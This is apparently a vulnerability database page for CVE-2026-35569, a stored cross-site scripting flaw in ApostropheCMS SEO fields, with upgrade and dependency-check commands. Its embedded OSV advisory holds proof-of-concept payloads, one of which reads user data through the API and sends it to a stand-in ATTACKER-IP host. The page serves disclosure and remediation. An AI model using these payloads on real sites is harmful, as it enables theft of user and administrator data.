CVE-2026-35569: Apostrophe Cross-Site Scripting Vulnerability
HIGHCVE-2026-35569 is a HIGH (CVSS 8.7) cross-site scripting vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Apostrophe libraries in the npm ecosystem. The issue involves stored xss in seo fields leads to authenticated api data exposure in apostrophecms. Remediation is available by upgrading affected packages to version 4.29.0.
CVE-2026-35569 at a Glance
Security Impact
CVSS: 8.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
How to Fix CVE-2026-35569
To remediate this vulnerability, upgrade all affected Apostrophe dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install apostrophe@4.29.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls apostrophe
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-35569, inspect your project dependencies using npm:
npm ls apostrophe
Analyze the terminal output to locate any version of Apostrophe in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.29.0), your application is affected.
Note: The npm ls apostrophe command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Apostrophe, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-35569 Affected Apostrophe Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
apostrophe
|
npm |
< 4.29.0
|
4.29.0
|
References
Frequently Asked Questions
What is CVE-2026-35569?
Which Apostrophe versions are affected?
What version fixes CVE-2026-35569?
Is apostrophe affected?
What is the CVSS score of CVE-2026-35569?
What CWE is associated with CVE-2026-35569?
How can I check npm dependencies for CVE-2026-35569?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-855c-r2vq-c292",
"modified" : "2026-04-30T20:08:18Z",
"published" : "2026-04-16T20:44:18Z",
"aliases" : [ "CVE-2026-35569" ],
"summary" : "Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS",
"details" : "## Summary\n\nA stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.\n\nImproper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.\n\n## Affected Version\nApostropheCMS (tested on version: v4.28.0)\n\n## Vulnerability Details\nUser-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:\n\n- `<title>`\n- `<meta>` attributes\n- structured data (JSON-LD)\n\nThis allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.\n\n\n\n## PoC 1\n\n**The following payload demonstrates breaking out of HTML context:**\n```javascript\n\"></title><script>alert(1)</script>\n```\nThis confirms:\n - Improper output encoding\n - Ability to escape `<title> / <meta>` contexts\n - Arbitrary script execution\n\n## PoC 2\n**This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.**\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user', {\n credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n\n\n## Video Proof of Concept\n\nWatch the following YouTube video for a full demonstration of the exploit:\n\n**PoC Video:** https://youtu.be/FZuulua_pa8\n\n\n## Steps to Reproduce\n\n1. Start a local listener: `python3 -m http.server 5656`\n2. Login to ApostropheCMS as an authenticated user\n3. Create or edit a page\n4. Navigate to SEO settings\n5. Insert the payload into the SEO Title field and Meta Description\n```javascript\n\"></title><script>\nfetch('/api/v1/@apostrophecms/user',{\n credentials:'include'\n})\n.then(r=>r.text())\n.then(d=>{\n fetch('http://ATTACKER-IP:5656/?data='+btoa(d))\n})\n</script>\n```\n6. Set **Schema Type** to \"Web page\"\n7. Save and publish the page\n8. Have an administrator visit the page\n\n\n## Result\n- The payload executes in the admin’s browser\n- The script sends a request to: `/api/v1/@apostrophecms/user`\n- The response contains sensitive user data:\n - usernames\n - email addresses\n - roles (including admin)\n\n- The data is exfiltrated to the attacker-controlled server:\n - `http://ATTACKER-IP:5656`\n\n## Evidence\n- The attacker server receives:\n - `GET /?data=BASE64_ENCODED_RESPONSE`\n- Decoding the response reveals sensitive application data.\n\n## Security Impact\nThis vulnerability allows an attacker to:\n - Execute arbitrary JavaScript in an authenticated admin context\n - Perform authenticated API requests (session riding)\n - Access sensitive application data via internal APIs\n - Exfiltrate sensitive data to an external attacker-controlled server\n \n ## References\n- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3\n- https://www.cve.org/CVERecord?id=CVE-2026-35569\n- https://nvd.nist.gov/vuln/detail/CVE-2026-35569\n- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "apostrophe"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.29.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.28.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-855c-r2vq-c292"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35569"
}, {
"type" : "WEB",
"url" : "https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3"
}, {
"type" : "WEB",
"url" : "https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apostrophecms/apostrophe"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-116", "CWE-79" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-16T20:44:18Z",
"nvd_published_at" : "2026-04-15T20:16:36Z"
}
}